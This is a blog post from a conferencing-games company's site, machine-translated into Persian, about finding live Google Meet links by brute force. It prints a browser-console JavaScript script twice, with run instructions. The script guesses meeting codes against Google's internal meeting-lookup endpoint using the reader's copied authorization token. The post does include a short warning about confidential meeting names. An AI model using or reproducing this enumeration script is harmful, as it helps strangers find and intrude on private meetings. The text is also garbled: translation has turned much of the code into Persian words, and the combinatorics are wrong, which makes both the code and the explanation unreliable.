Visio – در Google Meet گیر کنید | Dyrk ، Dyna Meet – Visio
ملاقات با دید
تصادفی = () => dico = dico.شکاف (”).نقشه (مقدار => (< value, sort: Math.random() >).طلسم ((a ، b) => a.طلسم – ب.هجی کردن).نقشه ((< value >) => مقدار).پیوستن (”),
newpatternkey = () => “xxx-xxxx-xxx”.شکاف (”).نقشه (c => c == ‘-‘?ج: رشته.FromCharCode (ریاضیات.کف (ریاضی.تصادفی ()*25) +97)).پیوستن (”),
کلید = newpatternkey () ، پیشخوان = 20 ؛
بعدی = () => کلید.شکاف (”).نقشه (e => e == ‘-‘ ? E: DICO [DICO.indexof (e) + 1> = dico.طول ? 0: دیکو.indexof (e) + 1]).پیوستن (”),
پیشخوان = 0 ؛
metlink = ‘https: // ملاقات.گوگل.com/’، toe در دسترس = () => xhr = xmlhttprequest جدید () ؛
if (پیشخوان ++> = 20) پیشخوان = 0 ؛
کلید = newpatternkey () ؛
تصادفی () ؛
>
کلید = بعدی () ؛
XHR.باز (“دریافت” ، MeetLink + Key) ؛
XHR.addEventlisner (“بار” ، (e) => fetch (metlink.Concat (“/$ RPC/Google.RTC.جلسات.V1.MeetingsPaceservice/ReolveMeetingsPace “) ،” هدرها “:” مجوز “: مجوز,
“نوع محتوا”: “برنامه/X-protobuf”,
“X-Goog-Adep-Key”: E.هدف.مسئوليت.مطابقت (/\ [“https \: \/\/ملاقات \.گوگل \.com \ “\ ،” ([a-za-z0-9 \ _ \-]) “\]/) [1],
“X-goog-authuse”: “0”,
“X-goog-encode-réspose-if-sereble”: “base64”,
“X-Goog-Meeting-Identififier”: BTOA (‘\ B \ x02 \ x12 \ f’.Concat (کلید)),
>,
“بدن”: “\ n \ f”.Concat (کلید ، “0 \ U0001”),
“روش”: “پست”
>).سپس (e => e.متن ())
.سپس (e => settimeout (موجود ، 100) ؛
کنسول.ورود به سیستم (metlink.Concat (کلید).BeatifyDisplay (38) ، (e.جایگزین (/[^a-za-z0-9]/g ، “”)+””).BeatifyDisplay (38)) ؛
>) ؛
>) ؛
XHR.ارسال ()؛
> ؛
رشته.نمونه اولیه.BeatifyDisplay = عملکرد (اندازه) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >اندازه ? txt.طول: اندازه)).بستر (0 ، اندازه).Concat (‘|’) ؛ >,
کنسول.شفاف () ؛
در دسترس ()؛
>) ()
دره
در حال حاضر در زمینه امنیت سایبری کار می کنم ، من به طور مرتب با موقعیت های نسبتاً بی اهمیت روبرو می شوم.
آخرین ، نفوذ یک شخص در طول جلسه .
خوشبختانه ، برای ایمنی ، Google Meet شامل ویژگی ای بود که به هر دو به شرکت کنندگان هشدار می داد که یک شخص به دنبال پیوستن به VideoConference است ، بلکه همچنین آن را قبول یا رد می کند.
با این حال ، این رویداد مرا به ارمغان می آورد تا از خودم چند سوال بپرسم .
پیچیدگی پیوند Google Meet
اول از همه ، چگونه ممکن است یک شخص بدون اینکه به آن دعوت شود به یک لینک ملاقات وصل شود ?
ما باید سادگی پیوند را در نظر بگیریم: https: // google.ملاقات.com/xxx -yyy -zzzz
xxx -yyy -zzzz فقط شخصیت های الفبایی بین A و Z هستند ، یعنی 27 ترکیب ممکن برای هر شخصیت.
برای ریاضیدانان ، بنابراین:
27 27 27 27 27 x 27 x 27 x 27 x 27 x 27 27 ترکیبات احتمالی .
طول عمر یک لینک ملاقات Google
اگرچه اکنون ما قادر به درک بهتر چگونگی ایجاد پیوندهای کنفرانس “Google Meet” ما هستیم ، اما یک جنبه بسیار مهم در نظر گرفته شده است . طول عمر یک لینک ملاقات Google !
در واقع همه می توانند با چند کلیک جلسات ملاقات Google را ایجاد کنند.
اما بعد از چند روز ، هفته یا ماه . پیوندها دیگر معتبر نیستند.
پیوندهای تولید شده از این رو دارای یک دوره خاص از اعتبار هستند .
استثناء وقایع “مکرر” را ایجاد می کند ، و اینجا جالب می شود.
در تجارت ، فرصت های زیادی برای سازماندهی منظم وجود دارد (تیم / تجارت ، روزانه ، هفتگی ، ماهانه ،, . ).
هنگامی که یک کارمند این نوع رویداد را در دستور کار خود ایجاد می کند ، به طور خودکار یک لینک ملاقات Google ایجاد می شود. این یکی تغییر ناپذیر است.
بنابراین هر بار برای این رویداد همان پیوند را خواهید داشت.
با یک جاوا اسکریپت و نیروی بی رحمانه ?
با تمام این عناصر ، ما اکنون مجهز به جابجایی همه امکانات هستیم و به احتمالات بالایی برای تشخیص پیوندها به فیلم های ویدئویی می رسیم !
بنابراین من کمی یکپارچهسازی با سیستمعامل از عملکرد Google Meet برای نوشتن کد JavaScript که تعداد نامحدودی از ترکیبات را امتحان می کند ، بیمه شده ام
(ج) درک.org 2023-2024 – رولت ملاقات
(1) این اسکریپت را روی https: // google اجرا کنید.ملاقات.کم
(2) متغیر مجوز مجوز را با نشانه مجوز معتبر در عناوین “درخواست های XHR” Googles خود پیدا و به روز کنید
اجازه دهید مجوز = “SAPISIDHASH XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX“، dico =” abcdefghijklmnopqrstuvxz “,
تصادفی = () => dico = dico.شکاف (”).نقشه (مقدار => (< value, sort: Math.random() >).طلسم ((a ، b) => a.طلسم – ب.هجی کردن).نقشه ((< value >) => مقدار).پیوستن (”),
newpatternkey = () => “xxx-xxxx-xxx”.شکاف (”).نقشه (c => c == ‘-‘?ج: رشته.FromCharCode (ریاضیات.کف (ریاضی.تصادفی ()*25) +97)).پیوستن (”),
کلید = newpatternkey () ، پیشخوان = 20 ؛
بعدی = () => کلید.شکاف (”).نقشه (e => e == ‘-‘ ? E: DICO [DICO.indexof (e) + 1> = dico.طول ? 0: دیکو.indexof (e) + 1]).پیوستن (”),
پیشخوان = 0 ؛
metlink = ‘https: // ملاقات.گوگل.com/’، toe در دسترس = () => xhr = xmlhttprequest جدید () ؛
if (پیشخوان ++> = 20) پیشخوان = 0 ؛
کلید = newpatternkey () ؛
تصادفی () ؛
>
کلید = بعدی () ؛
XHR.باز (“دریافت” ، MeetLink + Key) ؛
XHR.addEventlisner (“بار” ، (e) => fetch (metlink.Concat (“/$ RPC/Google.RTC.جلسات.V1.MeetingsPaceservice/ReolveMeetingsPace “) ،” هدرها “:” مجوز “: مجوز,
“نوع محتوا”: “برنامه/X-protobuf”,
“X-Goog-Adep-Key”: E.هدف.مسئوليت.مطابقت (/\ [“https \: \/\/ملاقات \.گوگل \.com \ “\ ،” ([a-za-z0-9 \ _ \-]) “\]/) [1],
“X-goog-authuse”: “0”,
“X-goog-encode-réspose-if-sereble”: “base64”,
“X-Goog-Meeting-Identififier”: BTOA (‘\ B \ x02 \ x12 \ f’.Concat (کلید)),
>,
“بدن”: “\ n \ f”.Concat (کلید ، “0 \ U0001”),
“روش”: “پست”
>).سپس (e => e.متن ())
.سپس (e =>
Settimeout (موجود ، 100) ؛
کنسول.ورود به سیستم (metlink.Concat (کلید).BeatifyDisplay (38) ، (e.جایگزین (/[^a-za-z0-9]/g ، “”)+””).BeatifyDisplay (38)) ؛
>) ؛
>) ؛
XHR.ارسال ()؛
> ؛
رشته.نمونه اولیه.BeatifyDisplay = عملکرد (اندازه) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >اندازه ? txt.طول: اندازه)).بستر (0 ، اندازه).Concat (‘|’) ؛ >,
کنسول.شفاف () ؛
در دسترس ()؛
>) ()
برای کار همه اینها ضروری خواهد بود:
- صفحه را باز کنید https: // ملاقات.گوگل.کم
- کنسول توسعه دهنده را باز کنید
- در برگه “شبکه” ، Fetch / XHR را فیلتر کرده و نشانه ای از نشانه ها را بازیابی کنید“مجوز”
- کد منبع را در بالا کپی و چسبانده و به مکانی که نشان داده شده است قرار دهید.
- با کلید “ورودی” روی صفحه کلید خود تأیید کنید.
بازیابی نشانه “مجوز”:
برای کنجکاو ، این همان چیزی است که نتیجه این فیلمنامه در عمل باید شبیه باشد.
بنابراین ما خطوطی را یادداشت می کنیم که به ما اطلاع می دهد که فضای مربوط به VideoConference وجود ندارد.
و دیگران که ما را نشانه کنفرانس قرار می دهند ! بنابراین نشان می دهد که پیوند معتبر است ؛)
با این حال ، انتظار نداشته باشید که چند ثانیه در یک لینک ملاقات ^^ سقوط کنید
(مگر اینکه شما مرد کمی خوش شانس باشید)
شما باید صبر بزرگی داشته باشید ، اجازه دهید حداقل نیم ساعت اجرا شود.
نتیجه
وحشت نکنید که تعداد بیشتری شانس برای یافتن یک لینک معتبر Google Meet نسبت به برنده شدن LOTO وجود دارد.
توجه ! شخصی که بدون نیاز به اتصال به لینک ملاقات معتبر به اطلاعات خاص دسترسی پیدا می کند:
نام جلسه (بنابراین از لغزش اطلاعات محرمانه خودداری کنید) و شرکت کنندگان متصل (همه یا یک بازی).
ملاقات با دید
سرقت آنلاین
حداکثر 1000 بازیکن همزمان
یک بستر دسترسی آسان ، در Visio
افق 2024
حداکثر 1000 بازیکن همزمان
یک بستر دسترسی آسان ، در Visio
چارلی کجاست ?!
حداکثر 1000 بازیکن همزمان
یک بستر دسترسی آسان ، در Visio
مأموریت مأموریت
حداکثر 1000 بازیکن همزمان
یک بستر دسترسی آسان ، در Visio
آگاهی از امنیت سایبری
حداکثر 5000 بازیکن همزمان
یک بستر دسترسی آسان ، در Visio
کریسمس را ذخیره کنید !
حداکثر 1000 بازیکن همزمان
یک بستر دسترسی آسان ، در Visio
کپی رایت © 2023 – Dyna’meet
رضایت کوکی ها را مدیریت کنید
برای ارائه بهترین تجربیات ، ما از فناوری هایی مانند کوکی ها برای ذخیره و یا دسترسی به اطلاعات دستگاه ها استفاده می کنیم. رضایت از این فناوری ها به ما امکان می دهد داده هایی مانند رفتار ناوبری یا شناسه های منحصر به فرد در این سایت را پردازش کنیم. واقعیت عدم رضایت یا برداشت رضایت شما ممکن است تأثیر منفی بر خصوصیات و عملکردهای خاص داشته باشد.
عملکردی عملکردی همیشه فعال شده است
ذخیره سازی یا دسترسی فنی در پایان علاقه مشروعیت لازم است تا امکان استفاده از یک سرویس خاص صریح توسط مشترک یا کاربر یا تنها برای انتقال انتقال ارتباطات در یک شبکه ارتباطات الکترونیکی درخواست شود.
تنظیمات برگزیده ترجیحات
ذخیره سازی یا دسترسی فنی به منظور علاقه قانونی برای ذخیره ترجیحات که توسط مشترک یا شخصی که از این سرویس استفاده نمی شود درخواست نمی شود.
آمار آماری
ذخیره سازی یا دسترسی فنی که منحصراً برای اهداف آماری استفاده می شود. ذخیره سازی یا دسترسی فنی که منحصراً در اهداف آماری ناشناس استفاده می شود. در صورت عدم حضور احضار ، رعایت داوطلبانه از طرف ارائه دهنده دسترسی به اینترنت یا سوابق اضافی از طرف شخص ثالث ، اطلاعات ذخیره شده یا استخراج شده در این انتها به طور کلی برای شناسایی شما قابل استفاده نیست.
ذخیره سازی یا دسترسی فنی برای ایجاد پروفایل کاربر به منظور ارسال تبلیغات ، یا دنبال کردن کاربر در وب سایت یا در چندین وب سایت با اهداف بازاریابی مشابه ضروری است.